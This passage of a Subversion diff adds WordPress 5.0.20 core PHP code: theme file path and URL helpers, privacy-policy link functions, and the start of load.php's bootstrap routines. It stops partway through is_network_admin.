+ * Searches in the stylesheet directory before the template directory so themes
+ * which inherit from a parent theme can just override one file.
+ *
+ * @since 4.7.0
+ *
+ * @param string $file Optional. File to search for in the stylesheet directory.
+ * @return string The URL of the file.
+ */
+function get_theme_file_uri( $file = '' ) {
+	$file = ltrim( $file, '/' );
+
+	if ( empty( $file ) ) {
+		$url = get_stylesheet_directory_uri();
+	} elseif ( file_exists( get_stylesheet_directory() . '/' . $file ) ) {
+		$url = get_stylesheet_directory_uri() . '/' . $file;
+	} else {
+		$url = get_template_directory_uri() . '/' . $file;
+	}
+
+	/**
+	 * Filters the URL to a file in the theme.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $url  The file URL.
+	 * @param string $file The requested file to search for.
+	 */
+	return apply_filters( 'theme_file_uri', $url, $file );
+}
+
+/**
+ * Retrieves the URL of a file in the parent theme.
+ *
+ * @since 4.7.0
+ *
+ * @param string $file Optional. File to return the URL for in the template directory.
+ * @return string The URL of the file.
+ */
+function get_parent_theme_file_uri( $file = '' ) {
+	$file = ltrim( $file, '/' );
+
+	if ( empty( $file ) ) {
+		$url = get_template_directory_uri();
+	} else {
+		$url = get_template_directory_uri() . '/' . $file;
+	}
+
+	/**
+	 * Filters the URL to a file in the parent theme.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $url  The file URL.
+	 * @param string $file The requested file to search for.
+	 */
+	return apply_filters( 'parent_theme_file_uri', $url, $file );
+}
+
+/**
+ * Retrieves the path of a file in the theme.
+ *
+ * Searches in the stylesheet directory before the template directory so themes
+ * which inherit from a parent theme can just override one file.
+ *
+ * @since 4.7.0
+ *
+ * @param string $file Optional. File to search for in the stylesheet directory.
+ * @return string The path of the file.
+ */
+function get_theme_file_path( $file = '' ) {
+	$file = ltrim( $file, '/' );
+
+	if ( empty( $file ) ) {
+		$path = get_stylesheet_directory();
+	} elseif ( file_exists( get_stylesheet_directory() . '/' . $file ) ) {
+		$path = get_stylesheet_directory() . '/' . $file;
+	} else {
+		$path = get_template_directory() . '/' . $file;
+	}
+
+	/**
+	 * Filters the path to a file in the theme.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $path The file path.
+	 * @param string $file The requested file to search for.
+	 */
+	return apply_filters( 'theme_file_path', $path, $file );
+}
+
+/**
+ * Retrieves the path of a file in the parent theme.
+ *
+ * @since 4.7.0
+ *
+ * @param string $file Optional. File to return the path for in the template directory.
+ * @return string The path of the file.
+ */
+function get_parent_theme_file_path( $file = '' ) {
+	$file = ltrim( $file, '/' );
+
+	if ( empty( $file ) ) {
+		$path = get_template_directory();
+	} else {
+		$path = get_template_directory() . '/' . $file;
+	}
+
+	/**
+	 * Filters the path to a file in the parent theme.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $path The file path.
+	 * @param string $file The requested file to search for.
+	 */
+	return apply_filters( 'parent_theme_file_path', $path, $file );
+}
+
+/**
+ * Retrieves the URL to the privacy policy page.
+ *
+ * @since 4.9.6
+ *
+ * @return string The URL to the privacy policy page. Empty string if it doesn't exist.
+ */
+function get_privacy_policy_url() {
+	$url            = '';
+	$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
+
+	if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) {
+		$url = (string) get_permalink( $policy_page_id );
+	}
+
+	/**
+	 * Filters the URL of the privacy policy page.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $url            The URL to the privacy policy page. Empty string
+	 *                               if it doesn't exist.
+	 * @param int    $policy_page_id The ID of privacy policy page.
+	 */
+	return apply_filters( 'privacy_policy_url', $url, $policy_page_id );
+}
+
+/**
+ * Displays the privacy policy link with formatting, when applicable.
+ *
+ * @since 4.9.6
+ *
+ * @param string $before Optional. Display before privacy policy link. Default empty.
+ * @param string $after  Optional. Display after privacy policy link. Default empty.
+ */
+function the_privacy_policy_link( $before = '', $after = '' ) {
+	echo get_the_privacy_policy_link( $before, $after );
+}
+
+/**
+ * Returns the privacy policy link with formatting, when applicable.
+ *
+ * @since 4.9.6
+ *
+ * @param string $before Optional. Display before privacy policy link. Default empty.
+ * @param string $after  Optional. Display after privacy policy link. Default empty.
+ *
+ * @return string Markup for the link and surrounding elements. Empty string if it
+ *                doesn't exist.
+ */
+function get_the_privacy_policy_link( $before = '', $after = '' ) {
+	$link               = '';
+	$privacy_policy_url = get_privacy_policy_url();
+	$policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );
+	$page_title         = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : '';
+
+	if ( $privacy_policy_url && $page_title ) {
+		$link = sprintf(
+			'<a class="privacy-policy-link" href="%s">%s</a>',
+			esc_url( $privacy_policy_url ),
+			esc_html( $page_title )
+		);
+	}
+
+	/**
+	 * Filters the privacy policy link.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $link               The privacy policy link. Empty string if it
+	 *                                   doesn't exist.
+	 * @param string $privacy_policy_url The URL of the privacy policy. Empty string
+	 *                                   if it doesn't exist.
+	 */
+	$link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url );
+
+	if ( $link ) {
+		return $before . $link . $after;
+	}
+
+	return '';
+}
Index: /tags/5.0.20/src/wp-includes/load.php
===================================================================
--- /tags/5.0.20/src/wp-includes/load.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/load.php	(revision 56912)
@@ -0,0 +1,1189 @@
+<?php
+/**
+ * These functions are needed to load WordPress.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Return the HTTP protocol sent by the server.
+ *
+ * @since 4.4.0
+ *
+ * @return string The HTTP protocol. Default: HTTP/1.0.
+ */
+function wp_get_server_protocol() {
+	$protocol = $_SERVER['SERVER_PROTOCOL'];
+	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
+		$protocol = 'HTTP/1.0';
+	}
+	return $protocol;
+}
+
+/**
+ * Turn register globals off.
+ *
+ * @since 2.1.0
+ * @access private
+ */
+function wp_unregister_GLOBALS() {
+	if ( !ini_get( 'register_globals' ) )
+		return;
+
+	if ( isset( $_REQUEST['GLOBALS'] ) )
+		die( 'GLOBALS overwrite attempt detected' );
+
+	// Variables that shouldn't be unset
+	$no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' );
+
+	$input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() );
+	foreach ( $input as $k => $v )
+		if ( !in_array( $k, $no_unset ) && isset( $GLOBALS[$k] ) ) {
+			unset( $GLOBALS[$k] );
+		}
+}
+
+/**
+ * Fix `$_SERVER` variables for various setups.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global string $PHP_SELF The filename of the currently executing script,
+ *                          relative to the document root.
+ */
+function wp_fix_server_vars() {
+	global $PHP_SELF;
+
+	$default_server_values = array(
+		'SERVER_SOFTWARE' => '',
+		'REQUEST_URI' => '',
+	);
+
+	$_SERVER = array_merge( $default_server_values, $_SERVER );
+
+	// Fix for IIS when running with PHP ISAPI
+	if ( empty( $_SERVER['REQUEST_URI'] ) || ( PHP_SAPI != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {
+
+		// IIS Mod-Rewrite
+		if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) {
+			$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
+		}
+		// IIS Isapi_Rewrite
+		elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) {
+			$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
+		} else {
+			// Use ORIG_PATH_INFO if there is no PATH_INFO
+			if ( !isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) )
+				$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
+
+			// Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
+			if ( isset( $_SERVER['PATH_INFO'] ) ) {
+				if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] )
+					$_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
+				else
+					$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
+			}
+
+			// Append the query string if it exists and isn't null
+			if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
+				$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
+			}
+		}
+	}
+
+	// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
+	if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) )
+		$_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
+
+	// Fix for Dreamhost and other PHP as CGI hosts
+	if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false )
+		unset( $_SERVER['PATH_INFO'] );
+
+	// Fix empty PHP_SELF
+	$PHP_SELF = $_SERVER['PHP_SELF'];
+	if ( empty( $PHP_SELF ) )
+		$_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace( '/(\?.*)?$/', '', $_SERVER["REQUEST_URI"] );
+}
+
+/**
+ * Check for the required PHP version, and the MySQL extension or
+ * a database drop-in.
+ *
+ * Dies if requirements are not met.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global string $required_php_version The required PHP version string.
+ * @global string $wp_version           The WordPress version string.
+ */
+function wp_check_php_mysql_versions() {
+	global $required_php_version, $wp_version;
+	$php_version = phpversion();
+
+	if ( version_compare( $required_php_version, $php_version, '>' ) ) {
+		wp_load_translations_early();
+
+		$protocol = wp_get_server_protocol();
+		header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 );
+		header( 'Content-Type: text/html; charset=utf-8' );
+		/* translators: 1: Current PHP version number, 2: WordPress version number, 3: Minimum required PHP version number */
+		die( sprintf( __( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.' ), $php_version, $wp_version, $required_php_version ) );
+	}
+
+	if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) {
+		wp_load_translations_early();
+
+		$protocol = wp_get_server_protocol();
+		header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 );
+		header( 'Content-Type: text/html; charset=utf-8' );
+		die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ) );
+	}
+}
+
+/**
+ * Don't load all of WordPress when handling a favicon.ico request.
+ *
+ * Instead, send the headers for a zero-length favicon and bail.
+ *
+ * @since 3.0.0
+ */
+function wp_favicon_request() {
+	if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) {
+		header('Content-Type: image/vnd.microsoft.icon');
+		exit;
+	}
+}
+
+/**
+ * Die with a maintenance message when conditions are met.
+ *
+ * Checks for a file in the WordPress root directory named ".maintenance".
+ * This file will contain the variable $upgrading, set to the time the file
+ * was created. If the file was created less than 10 minutes ago, WordPress
+ * enters maintenance mode and displays a message.
+ *
+ * The default message can be replaced by using a drop-in (maintenance.php in
+ * the wp-content directory).
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global int $upgrading the unix timestamp marking when upgrading WordPress began.
+ */
+function wp_maintenance() {
+	if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() )
+		return;
+
+	global $upgrading;
+
+	include( ABSPATH . '.maintenance' );
+	// If the $upgrading timestamp is older than 10 minutes, don't die.
+	if ( ( time() - $upgrading ) >= 600 )
+		return;
+
+	/**
+	 * Filters whether to enable maintenance mode.
+	 *
+	 * This filter runs before it can be used by plugins. It is designed for
+	 * non-web runtimes. If this filter returns true, maintenance mode will be
+	 * active and the request will end. If false, the request will be allowed to
+	 * continue processing even if maintenance mode should be active.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param bool $enable_checks Whether to enable maintenance mode. Default true.
+	 * @param int  $upgrading     The timestamp set in the .maintenance file.
+	 */
+	if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) {
+		return;
+	}
+
+	if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
+		require_once( WP_CONTENT_DIR . '/maintenance.php' );
+		die();
+	}
+
+	wp_load_translations_early();
+
+	$protocol = wp_get_server_protocol();
+	header( "$protocol 503 Service Unavailable", true, 503 );
+	header( 'Content-Type: text/html; charset=utf-8' );
+	header( 'Retry-After: 600' );
+?>
+	<!DOCTYPE html>
+	<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
+	<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+		<title><?php _e( 'Maintenance' ); ?></title>
+
+	</head>
+	<body>
+		<h1><?php _e( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ); ?></h1>
+	</body>
+	</html>
+<?php
+	die();
+}
+
+/**
+ * Start the WordPress micro-timer.
+ *
+ * @since 0.71
+ * @access private
+ *
+ * @global float $timestart Unix timestamp set at the beginning of the page load.
+ * @see timer_stop()
+ *
+ * @return bool Always returns true.
+ */
+function timer_start() {
+	global $timestart;
+	$timestart = microtime( true );
+	return true;
+}
+
+/**
+ * Retrieve or display the time from the page start to when function is called.
+ *
+ * @since 0.71
+ *
+ * @global float   $timestart Seconds from when timer_start() is called.
+ * @global float   $timeend   Seconds from when function is called.
+ *
+ * @param int|bool $display   Whether to echo or return the results. Accepts 0|false for return,
+ *                            1|true for echo. Default 0|false.
+ * @param int      $precision The number of digits from the right of the decimal to display.
+ *                            Default 3.
+ * @return string The "second.microsecond" finished time calculation. The number is formatted
+ *                for human consumption, both localized and rounded.
+ */
+function timer_stop( $display = 0, $precision = 3 ) {
+	global $timestart, $timeend;
+	$timeend = microtime( true );
+	$timetotal = $timeend - $timestart;
+	$r = ( function_exists( 'number_format_i18n' ) ) ? number_format_i18n( $timetotal, $precision ) : number_format( $timetotal, $precision );
+	if ( $display )
+		echo $r;
+	return $r;
+}
+
+/**
+ * Set PHP error reporting based on WordPress debug settings.
+ *
+ * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`.
+ * All three can be defined in wp-config.php. By default, `WP_DEBUG` and
+ * `WP_DEBUG_LOG` are set to false, and `WP_DEBUG_DISPLAY` is set to true.
+ *
+ * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also
+ * display internal notices: when a deprecated WordPress function, function
+ * argument, or file is used. Deprecated code may be removed from a later
+ * version.
+ *
+ * It is strongly recommended that plugin and theme developers use `WP_DEBUG`
+ * in their development environments.
+ *
+ * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG`
+ * is true.
+ *
+ * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed.
+ * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress
+ * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY`
+ * as false will force errors to be hidden.
+ *
+ * When `WP_DEBUG_LOG` is true, errors will be logged to debug.log in the content
+ * directory.
+ *
+ * Errors are never displayed for XML-RPC, REST, and Ajax requests.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_debug_mode() {
+	/**
+	 * Filters whether to allow the debug mode check to occur.
+	 *
+	 * This filter runs before it can be used by plugins. It is designed for
+	 * non-web run-times. Returning false causes the `WP_DEBUG` and related
+	 * constants to not be checked and the default php values for errors
+	 * will be used unless you take care to update them yourself.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true.
+	 */
+	if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ){
+		return;
+	}
+
+	if ( WP_DEBUG ) {
+		error_reporting( E_ALL );
+
+		if ( WP_DEBUG_DISPLAY )
+			ini_set( 'display_errors', 1 );
+		elseif ( null !== WP_DEBUG_DISPLAY )
+			ini_set( 'display_errors', 0 );
+
+		if ( WP_DEBUG_LOG ) {
+			ini_set( 'log_errors', 1 );
+			ini_set( 'error_log', WP_CONTENT_DIR . '/debug.log' );
+		}
+	} else {
+		error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+	}
+
+	if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) {
+		@ini_set( 'display_errors', 0 );
+	}
+}
+
+/**
+ * Set the location of the language directory.
+ *
+ * To set directory manually, define the `WP_LANG_DIR` constant
+ * in wp-config.php.
+ *
+ * If the language directory exists within `WP_CONTENT_DIR`, it
+ * is used. Otherwise the language directory is assumed to live
+ * in `WPINC`.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_set_lang_dir() {
+	if ( !defined( 'WP_LANG_DIR' ) ) {
+		if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || !@is_dir(ABSPATH . WPINC . '/languages') ) {
+			/**
+			 * Server path of the language directory.
+			 *
+			 * No leading slash, no trailing slash, full path, not relative to ABSPATH
+			 *
+			 * @since 2.1.0
+			 */
+			define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' );
+			if ( !defined( 'LANGDIR' ) ) {
+				// Old static relative path maintained for limited backward compatibility - won't work in some cases.
+				define( 'LANGDIR', 'wp-content/languages' );
+			}
+		} else {
+			/**
+			 * Server path of the language directory.
+			 *
+			 * No leading slash, no trailing slash, full path, not relative to `ABSPATH`.
+			 *
+			 * @since 2.1.0
+			 */
+			define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' );
+			if ( !defined( 'LANGDIR' ) ) {
+				// Old relative path maintained for backward compatibility.
+				define( 'LANGDIR', WPINC . '/languages' );
+			}
+		}
+	}
+}
+
+/**
+ * Load the database class file and instantiate the `$wpdb` global.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb The WordPress database class.
+ */
+function require_wp_db() {
+	global $wpdb;
+
+	require_once( ABSPATH . WPINC . '/wp-db.php' );
+	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) )
+		require_once( WP_CONTENT_DIR . '/db.php' );
+
+	if ( isset( $wpdb ) ) {
+		return;
+	}
+
+	$dbuser     = defined( 'DB_USER' ) ? DB_USER : '';
+	$dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : '';
+	$dbname     = defined( 'DB_NAME' ) ? DB_NAME : '';
+	$dbhost     = defined( 'DB_HOST' ) ? DB_HOST : '';
+
+	$wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost );
+}
+
+/**
+ * Set the database table prefix and the format specifiers for database
+ * table columns.
+ *
+ * Columns not listed here default to `%s`.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global wpdb   $wpdb         The WordPress database class.
+ * @global string $table_prefix The database table prefix.
+ */
+function wp_set_wpdb_vars() {
+	global $wpdb, $table_prefix;
+	if ( !empty( $wpdb->error ) )
+		dead_db();
+
+	$wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d',
+		'parent' => '%d', 'count' => '%d','object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d',
+		'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d',
+		'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d',
+		// multisite:
+		'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d',
+	);
+
+	$prefix = $wpdb->set_prefix( $table_prefix );
+
+	if ( is_wp_error( $prefix ) ) {
+		wp_load_translations_early();
+		wp_die(
+			/* translators: 1: $table_prefix 2: wp-config.php */
+			sprintf( __( '<strong>ERROR</strong>: %1$s in %2$s can only contain numbers, letters, and underscores.' ),
+				'<code>$table_prefix</code>',
+				'<code>wp-config.php</code>'
+			)
+		);
+	}
+}
+
+/**
+ * Toggle `$_wp_using_ext_object_cache` on and off without directly
+ * touching global.
+ *
+ * @since 3.7.0
+ *
+ * @global bool $_wp_using_ext_object_cache
+ *
+ * @param bool $using Whether external object cache is being used.
+ * @return bool The current 'using' setting.
+ */
+function wp_using_ext_object_cache( $using = null ) {
+	global $_wp_using_ext_object_cache;
+	$current_using = $_wp_using_ext_object_cache;
+	if ( null !== $using )
+		$_wp_using_ext_object_cache = $using;
+	return $current_using;
+}
+
+/**
+ * Start the WordPress object cache.
+ *
+ * If an object-cache.php file exists in the wp-content directory,
+ * it uses that drop-in as an external object cache.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global array $wp_filter Stores all of the filters.
+ */
+function wp_start_object_cache() {
+	global $wp_filter;
+
+	$first_init = false;
+ 	if ( ! function_exists( 'wp_cache_init' ) ) {
+		if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
+			require_once ( WP_CONTENT_DIR . '/object-cache.php' );
+			if ( function_exists( 'wp_cache_init' ) ) {
+				wp_using_ext_object_cache( true );
+			}
+
+			// Re-initialize any hooks added manually by object-cache.php
+			if ( $wp_filter ) {
+				$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
+			}
+		}
+
+		$first_init = true;
+	} elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
+		/*
+		 * Sometimes advanced-cache.php can load object-cache.php before
+		 * it is loaded here. This breaks the function_exists check above
+		 * and can result in `$_wp_using_ext_object_cache` being set
+		 * incorrectly. Double check if an external cache exists.
+		 */
+		wp_using_ext_object_cache( true );
+	}
+
+	if ( ! wp_using_ext_object_cache() ) {
+		require_once ( ABSPATH . WPINC . '/cache.php' );
+	}
+
+	/*
+	 * If cache supports reset, reset instead of init if already
+	 * initialized. Reset signals to the cache that global IDs
+	 * have changed and it may need to update keys and cleanup caches.
+	 */
+	if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) {
+		wp_cache_switch_to_blog( get_current_blog_id() );
+	} elseif ( function_exists( 'wp_cache_init' ) ) {
+		wp_cache_init();
+	}
+
+	if ( function_exists( 'wp_cache_add_global_groups' ) ) {
+		wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites' ) );
+		wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) );
+	}
+}
+
+/**
+ * Redirect to the installer if WordPress is not installed.
+ *
+ * Dies with an error message when Multisite is enabled.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_not_installed() {
+	if ( is_multisite() ) {
+		if ( ! is_blog_installed() && ! wp_installing() ) {
+			nocache_headers();
+
+			wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) );
+		}
+	} elseif ( ! is_blog_installed() && ! wp_installing() ) {
+		nocache_headers();
+
+		require( ABSPATH . WPINC . '/kses.php' );
+		require( ABSPATH . WPINC . '/pluggable.php' );
+		require( ABSPATH . WPINC . '/formatting.php' );
+
+		$link = wp_guess_url() . '/wp-admin/install.php';
+
+		wp_redirect( $link );
+		die();
+	}
+}
+
+/**
+ * Retrieve an array of must-use plugin files.
+ *
+ * The default directory is wp-content/mu-plugins. To change the default
+ * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL`
+ * in wp-config.php.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @return array Files to include.
+ */
+function wp_get_mu_plugins() {
+	$mu_plugins = array();
+	if ( !is_dir( WPMU_PLUGIN_DIR ) )
+		return $mu_plugins;
+	if ( ! $dh = opendir( WPMU_PLUGIN_DIR ) )
+		return $mu_plugins;
+	while ( ( $plugin = readdir( $dh ) ) !== false ) {
+		if ( substr( $plugin, -4 ) == '.php' )
+			$mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin;
+	}
+	closedir( $dh );
+	sort( $mu_plugins );
+
+	return $mu_plugins;
+}
+
+/**
+ * Retrieve an array of active and valid plugin files.
+ *
+ * While upgrading or installing WordPress, no plugins are returned.
+ *
+ * The default directory is wp-content/plugins. To change the default
+ * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL`
+ * in wp-config.php.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @return array Files.
+ */
+function wp_get_active_and_valid_plugins() {
+	$plugins = array();
+	$active_plugins = (array) get_option( 'active_plugins', array() );
+
+	// Check for hacks file if the option is enabled
+	if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) {
+		_deprecated_file( 'my-hacks.php', '1.5.0' );
+		array_unshift( $plugins, ABSPATH . 'my-hacks.php' );
+	}
+
+	if ( empty( $active_plugins ) || wp_installing() )
+		return $plugins;
+
+	$network_plugins = is_multisite() ? wp_get_active_network_plugins() : false;
+
+	foreach ( $active_plugins as $plugin ) {
+		if ( ! validate_file( $plugin ) // $plugin must validate as file
+			&& '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'
+			&& file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist
+			// not already included as a network plugin
+			&& ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) )
+			)
+		$plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
+	}
+	return $plugins;
+}
+
+/**
+ * Set internal encoding.
+ *
+ * In most cases the default internal encoding is latin1, which is
+ * of no use, since we want to use the `mb_` functions for `utf-8` strings.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_set_internal_encoding() {
+	if ( function_exists( 'mb_internal_encoding' ) ) {
+		$charset = get_option( 'blog_charset' );
+		if ( ! $charset || ! @mb_internal_encoding( $charset ) )
+			mb_internal_encoding( 'UTF-8' );
+	}
+}
+
+/**
+ * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`.
+ *
+ * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`,
+ * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_magic_quotes() {
+	// If already slashed, strip.
+	if ( get_magic_quotes_gpc() ) {
+		$_GET    = stripslashes_deep( $_GET    );
+		$_POST   = stripslashes_deep( $_POST   );
+		$_COOKIE = stripslashes_deep( $_COOKIE );
+	}
+
+	// Escape with wpdb.
+	$_GET    = add_magic_quotes( $_GET    );
+	$_POST   = add_magic_quotes( $_POST   );
+	$_COOKIE = add_magic_quotes( $_COOKIE );
+	$_SERVER = add_magic_quotes( $_SERVER );
+
+	// Force REQUEST to be GET + POST.
+	$_REQUEST = array_merge( $_GET, $_POST );
+}
+
+/**
+ * Runs just before PHP shuts down execution.
+ *
+ * @since 1.2.0
+ * @access private
+ */
+function shutdown_action_hook() {
+	/**
+	 * Fires just before PHP shuts down execution.
+	 *
+	 * @since 1.2.0
+	 */
+	do_action( 'shutdown' );
+
+	wp_cache_close();
+}
+
+/**
+ * Copy an object.
+ *
+ * @since 2.7.0
+ * @deprecated 3.2.0
+ *
+ * @param object $object The object to clone.
+ * @return object The cloned object.
+ */
+function wp_clone( $object ) {
+	// Use parens for clone to accommodate PHP 4. See #17880
+	return clone( $object );
+}
+
+/**
+ * Determines whether the current request is for an administrative interface page.
+ *
+ * Does not check if the user is an administrator; current_user_can()
+ * for checking roles and capabilities.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook. 
+ *
+ * @since 1.5.1
+ *
+ * @global WP_Screen $current_screen
+ *
+ * @return bool True if inside WordPress administration interface, false otherwise.
+ */
+function is_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin();
+	elseif ( defined( 'WP_ADMIN' ) )
+		return WP_ADMIN;
+
+	return false;
+}
+
+/**
+ * Whether the current request is for a site's admininstrative interface.
+ *
+ * e.g. `/wp-admin/`
+ *
+ * Does not check if the user is an administrator; current_user_can()
+ * for checking roles and capabilities.
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Screen $current_screen
+ *
+ * @return bool True if inside WordPress blog administration pages.
+ */
+function is_blog_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin( 'site' );
+	elseif ( defined( 'WP_BLOG_ADMIN' ) )
+		return WP_BLOG_ADMIN;
+
+	return false;
+}
+
+/**
+ * Whether the current request is for the network administrative interface.
+ *
+ * e.g. `/wp-admin/network/`
+ *
+ * Does not check if the user is an administrator; current_user_can()
+ * for checking roles and capabilities.
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Screen $current_screen
+ *
+ * @return bool True if inside WordPress network administration pages.
+ */
+function is_network_admin() {
